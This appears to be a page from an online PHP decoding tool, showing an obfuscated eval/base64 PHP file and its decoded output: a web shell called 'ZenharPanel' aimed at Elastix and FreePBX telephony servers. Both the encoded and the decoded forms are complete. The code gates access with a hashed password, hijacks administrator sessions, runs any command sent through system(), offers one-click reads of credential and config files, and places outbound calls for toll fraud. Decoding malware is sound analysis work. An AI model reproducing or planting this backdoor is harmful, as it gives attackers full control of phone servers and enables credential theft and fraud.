Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /*f8TihxmW4rhSyzcjLlsdLznW*/eval/*3w7XTrY9ASrSpO*/(base64_decode/*Puf6mNGy*/('c2Vzc2..

Decoded Output download

session_start();
if (isset($_REQUEST['md5']) && md5($_REQUEST['md5']) == '2a6892c206e210261cd08e762a349a87') {
    $_SESSION['looki'] = 'logged';
}
if (!isset($_SESSION['looki'])) {
    echo '<form action="" method="post">';
    echo '<input type="text" name="md5" size="32" />';
    echo '<input type="submit" name="ZenharR" value="ZenharR" /> ';
    echo '</form>';
    echo '<? --  ((/*74.208.81.115*/)) -- ?>';
    exit();
}
if (isset($_REQUEST['admin']) && $_REQUEST['admin'] == 'Elastix') {
    session_destroy();
    session_name("elastixSession");
    session_start();
    $_SESSION['looki'] = 'logged';
    include_once "/var/www/html/libs/paloSantoDB.class.php";
    include_once "/var/www/html/libs/paloSantoACL.class.php";
    $pDB = new paloDB("sqlite3:////var/www/db/acl.db");
    $db = $pDB->fetchTable("SELECT name, md5_password,extension from acl_user WHERE id ='1'");
    $_SESSION['elastix_user'] = $db[0][0];
    $_SESSION['elastix_pass'] = $db[0][1];
    header("Location: /index.php");
}
if (isset($_REQUEST['admin']) && $_REQUEST['admin'] == 'Freepbx') {
    if (!@include_once (getenv('FREEPBX_CONF') ? getenv('FREEPBX_CONF') : '/etc/freepbx.conf')) {
        include_once ('/etc/asterisk/freepbx.conf');
    }
    require_once ('/var/www/html/admin/libraries/ampuser.class.php');
    $_SESSION['AMP_user'] = new ampuser($amp_conf['AMPDBUSER']);
    $_SESSION['AMP_user']->setAdmin();
    header("Location: /admin/config.php");
}

echo base64_decode('PGgxIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7Ij5aZW5oYXJQYW5lbDwvaDE+Cjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgogICAgPGI+Q0FMTDwvYj4gPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImNvbnRleHQiIHZhbHVlPSJhc3Rlcmlzay1vdXRjYWxscyIgLz4KICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ0aW1lIiB2YWx1ZT0iNjAiIC8+CiAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icHJzIiB2YWx1ZT0iMDAiIC8+CiAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibnVtIiBwbGFjZWhvbGRlcj0ibnVtYmVyIiAvPgogICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iY2FsbCIgdmFsdWU9ImNhbGwiIC8+CjwvZm9ybT48YnIgLz4KPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgPgogICAgPGI+Q01EPC9iPgogICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImNtZCIgc2l6ZT0nODAnIC8+CiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJleGVjdXRlIiB2YWx1ZT0iRXhlY3V0ZSIgLz4gPGhyIC8+CiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJjbWQiIHZhbHVlPSJscyAtbGEiIC8+CiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJjbWQiIHZhbHVlPSJwcyAtYXV4IC0tZm9yZXN0IiAvPgogICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iY21kIiB2YWx1ZT0iYXN0ZXJpc2sgLXJ4ICdjb3JlIHNob3cgY2hhbm5lbHMnIiAvPgogICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iY21kIiB2YWx1ZT0iYXN0ZXJpc2sgLXJ4ICdzaXAgc2hvdyBwZWVycyciIC8+CiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJjbWQiIHZhbHVlPSJjYXQgL2V0Yy9lbGFzdGl4LmNvbmYiIC8+CiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJjbWQiIHZhbHVlPSJjYXQgL2V0Yy9hc3Rlcmlzay9zaXBfYWRkaXRpb25hbC5jb25mIiAvPgogICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iY21kIiB2YWx1ZT0iY2F0IC9ldGMvYXN0ZXJpc2svZXh0ZW5zaW9uc19jdXN0b20uY29uZiIgLz4KICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImNtZCIgdmFsdWU9ImNhdCAvZXRjL2FtcG9ydGFsLmNvbmYiIC8+CjwvZm9ybT4KPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0iZ2V0IiA+CiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJhZG1pbiIgdmFsdWU9IkVsYXN0aXgiIC8+CiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJhZG1pbiIgdmFsdWU9IkZyZWVwYngiIC8+CjwvZm9ybT4KPHByZT4=');
if (isset($_REQUEST['cmd'])) {
    echo system($_REQUEST['cmd']);
}
if (isset($_REQUEST['call'])) {
    system('asterisk -rx "channel originate Local/' . $_REQUEST['prs'] . $_REQUEST['num'] . '@' . $_REQUEST['context'] . ' application wait ' . $_REQUEST['time'] . '"');
}
echo '</pre>';

Did this file decode correctly?

Original Code

<?php /*f8TihxmW4rhSyzcjLlsdLznW*/eval/*3w7XTrY9ASrSpO*/(base64_decode/*Puf6mNGy*/('c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICcyYTY4OTJjMjA2ZTIxMDI2MWNkMDhlNzYyYTM0OWE4NycpIHsKICAgICRfU0VTU0lPTlsnbG9va2knXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydsb29raSddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+JzsKICAgIGVjaG8gJzxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtZDUiIHNpemU9IjMyIiAvPic7CiAgICBlY2hvICc8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJaZW5oYXJSIiB2YWx1ZT0iWmVuaGFyUiIgLz4gJzsKICAgIGVjaG8gJzwvZm9ybT4nOwogICAgZWNobyAnPD8gLS0gICgoLyo3NC4yMDguODEuMTE1Ki8pKSAtLSA/Pic7CiAgICBleGl0KCk7Cn0KaWYgKGlzc2V0KCRfUkVRVUVTVFsnYWRtaW4nXSkgJiYgJF9SRVFVRVNUWydhZG1pbiddID09ICdFbGFzdGl4JykgewogICAgc2Vzc2lvbl9kZXN0cm95KCk7CiAgICBzZXNzaW9uX25hbWUoImVsYXN0aXhTZXNzaW9uIik7CiAgICBzZXNzaW9uX3N0YXJ0KCk7CiAgICAkX1NFU1NJT05bJ2xvb2tpJ10gPSAnbG9nZ2VkJzsKICAgIGluY2x1ZGVfb25jZSAiL3Zhci93d3cvaHRtbC9saWJzL3BhbG9TYW50b0RCLmNsYXNzLnBocCI7CiAgICBpbmNsdWRlX29uY2UgIi92YXIvd3d3L2h0bWwvbGlicy9wYWxvU2FudG9BQ0wuY2xhc3MucGhwIjsKICAgICRwREIgPSBuZXcgcGFsb0RCKCJzcWxpdGUzOi8vLy92YXIvd3d3L2RiL2FjbC5kYiIpOwogICAgJGRiID0gJHBEQi0+ZmV0Y2hUYWJsZSgiU0VMRUNUIG5hbWUsIG1kNV9wYXNzd29yZCxleHRlbnNpb24gZnJvbSBhY2xfdXNlciBXSEVSRSBpZCA9JzEnIik7CiAgICAkX1NFU1NJT05bJ2VsYXN0aXhfdXNlciddID0gJGRiWzBdWzBdOwogICAgJF9TRVNTSU9OWydlbGFzdGl4X3Bhc3MnXSA9ICRkYlswXVsxXTsKICAgIGhlYWRlcigiTG9jYXRpb246IC9pbmRleC5waHAiKTsKfQppZiAoaXNzZXQoJF9SRVFVRVNUWydhZG1pbiddKSAmJiAkX1JFUVVFU1RbJ2FkbWluJ10gPT0gJ0ZyZWVwYngnKSB7CiAgICBpZiAoIUBpbmNsdWRlX29uY2UgKGdldGVudignRlJFRVBCWF9DT05GJykgPyBnZXRlbnYoJ0ZSRUVQQlhfQ09ORicpIDogJy9ldGMvZnJlZXBieC5jb25mJykpIHsKICAgICAgICBpbmNsdWRlX29uY2UgKCcvZXRjL2FzdGVyaXNrL2ZyZWVwYnguY29uZicpOwogICAgfQogICAgcmVxdWlyZV9vbmNlICgnL3Zhci93d3cvaHRtbC9hZG1pbi9saWJyYXJpZXMvYW1wdXNlci5jbGFzcy5waHAnKTsKICAgICRfU0VTU0lPTlsnQU1QX3VzZXInXSA9IG5ldyBhbXB1c2VyKCRhbXBfY29uZlsnQU1QREJVU0VSJ10pOwogICAgJF9TRVNTSU9OWydBTVBfdXNlciddLT5zZXRBZG1pbigpOwogICAgaGVhZGVyKCJMb2NhdGlvbjogL2FkbWluL2NvbmZpZy5waHAiKTsKfQoKZWNobyBiYXNlNjRfZGVjb2RlKCdQR2d4SUhOMGVXeGxQU0owWlhoMExXRnNhV2R1T2lCalpXNTBaWEk3SWo1YVpXNW9ZWEpRWVc1bGJEd3ZhREUrQ2p4bWIzSnRJR0ZqZEdsdmJqMGlJaUJ0WlhSb2IyUTlJbkJ2YzNRaVBnb2dJQ0FnUEdJK1EwRk1URHd2WWo0Z1BHbHVjSFYwSUhSNWNHVTlJblJsZUhRaUlHNWhiV1U5SW1OdmJuUmxlSFFpSUhaaGJIVmxQU0poYzNSbGNtbHpheTF2ZFhSallXeHNjeUlnTHo0S0lDQWdJRHhwYm5CMWRDQjBlWEJsUFNKMFpYaDBJaUJ1WVcxbFBTSjBhVzFsSWlCMllXeDFaVDBpTmpBaUlDOCtDaUFnSUNBOGFXNXdkWFFnZEhsd1pUMGlkR1Y0ZENJZ2JtRnRaVDBpY0hKeklpQjJZV3gxWlQwaU1EQWlJQzgrQ2lBZ0lDQThhVzV3ZFhRZ2RIbHdaVDBpZEdWNGRDSWdibUZ0WlQwaWJuVnRJaUJ3YkdGalpXaHZiR1JsY2owaWJuVnRZbVZ5SWlBdlBnb2dJQ0FnUEdsdWNIVjBJSFI1Y0dVOUluTjFZbTFwZENJZ2JtRnRaVDBpWTJGc2JDSWdkbUZzZFdVOUltTmhiR3dpSUM4K0Nqd3ZabTl5YlQ0OFluSWdMejRLUEdadmNtMGdZV04wYVc5dVBTSWlJRzFsZEdodlpEMGljRzl6ZENJZ1Bnb2dJQ0FnUEdJK1EwMUVQQzlpUGdvZ0lDQWdQR2x1Y0hWMElIUjVjR1U5SW5SbGVIUWlJRzVoYldVOUltTnRaQ0lnYzJsNlpUMG5PREFuSUM4K0NpQWdJQ0E4YVc1d2RYUWdkSGx3WlQwaWMzVmliV2wwSWlCdVlXMWxQU0psZUdWamRYUmxJaUIyWVd4MVpUMGlSWGhsWTNWMFpTSWdMejRnUEdoeUlDOCtDaUFnSUNBOGFXNXdkWFFnZEhsd1pUMGljM1ZpYldsMElpQnVZVzFsUFNKamJXUWlJSFpoYkhWbFBTSnNjeUF0YkdFaUlDOCtDaUFnSUNBOGFXNXdkWFFnZEhsd1pUMGljM1ZpYldsMElpQnVZVzFsUFNKamJXUWlJSFpoYkhWbFBTSndjeUF0WVhWNElDMHRabTl5WlhOMElpQXZQZ29nSUNBZ1BHbHVjSFYwSUhSNWNHVTlJbk4xWW0xcGRDSWdibUZ0WlQwaVkyMWtJaUIyWVd4MVpUMGlZWE4wWlhKcGMyc2dMWEo0SUNkamIzSmxJSE5vYjNjZ1kyaGhibTVsYkhNbklpQXZQZ29nSUNBZ1BHbHVjSFYwSUhSNWNHVTlJbk4xWW0xcGRDSWdibUZ0WlQwaVkyMWtJaUIyWVd4MVpUMGlZWE4wWlhKcGMyc2dMWEo0SUNkemFYQWdjMmh2ZHlCd1pXVnljeWNpSUM4K0NpQWdJQ0E4YVc1d2RYUWdkSGx3WlQwaWMzVmliV2wwSWlCdVlXMWxQU0pqYldRaUlIWmhiSFZsUFNKallYUWdMMlYwWXk5bGJHRnpkR2w0TG1OdmJtWWlJQzgrQ2lBZ0lDQThhVzV3ZFhRZ2RIbHdaVDBpYzNWaWJXbDBJaUJ1WVcxbFBTSmpiV1FpSUhaaGJIVmxQU0pqWVhRZ0wyVjBZeTloYzNSbGNtbHpheTl6YVhCZllXUmthWFJwYjI1aGJDNWpiMjVtSWlBdlBnb2dJQ0FnUEdsdWNIVjBJSFI1Y0dVOUluTjFZbTFwZENJZ2JtRnRaVDBpWTIxa0lpQjJZV3gxWlQwaVkyRjBJQzlsZEdNdllYTjBaWEpwYzJzdlpYaDBaVzV6YVc5dWMxOWpkWE4wYjIwdVkyOXVaaUlnTHo0S0lDQWdJRHhwYm5CMWRDQjBlWEJsUFNKemRXSnRhWFFpSUc1aGJXVTlJbU50WkNJZ2RtRnNkV1U5SW1OaGRDQXZaWFJqTDJGdGNHOXlkR0ZzTG1OdmJtWWlJQzgrQ2p3dlptOXliVDRLUEdadmNtMGdZV04wYVc5dVBTSWlJRzFsZEdodlpEMGlaMlYwSWlBK0NpQWdJQ0E4YVc1d2RYUWdkSGx3WlQwaWMzVmliV2wwSWlCdVlXMWxQU0poWkcxcGJpSWdkbUZzZFdVOUlrVnNZWE4wYVhnaUlDOCtDaUFnSUNBOGFXNXdkWFFnZEhsd1pUMGljM1ZpYldsMElpQnVZVzFsUFNKaFpHMXBiaUlnZG1Gc2RXVTlJa1p5WldWd1luZ2lJQzgrQ2p3dlptOXliVDRLUEhCeVpUND0nKTsKaWYgKGlzc2V0KCRfUkVRVUVTVFsnY21kJ10pKSB7CiAgICBlY2hvIHN5c3RlbSgkX1JFUVVFU1RbJ2NtZCddKTsKfQppZiAoaXNzZXQoJF9SRVFVRVNUWydjYWxsJ10pKSB7CiAgICBzeXN0ZW0oJ2FzdGVyaXNrIC1yeCAiY2hhbm5lbCBvcmlnaW5hdGUgTG9jYWwvJyAuICRfUkVRVUVTVFsncHJzJ10gLiAkX1JFUVVFU1RbJ251bSddIC4gJ0AnIC4gJF9SRVFVRVNUWydjb250ZXh0J10gLiAnIGFwcGxpY2F0aW9uIHdhaXQgJyAuICRfUkVRVUVTVFsndGltZSddIC4gJyInKTsKfQplY2hvICc8L3ByZT4nOw=='));/*7rUzFF92CczK9tb8C*/?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 8eeded684a522eb9fff7e859526c0dfb
Eval Count 1
Decode Time 49 ms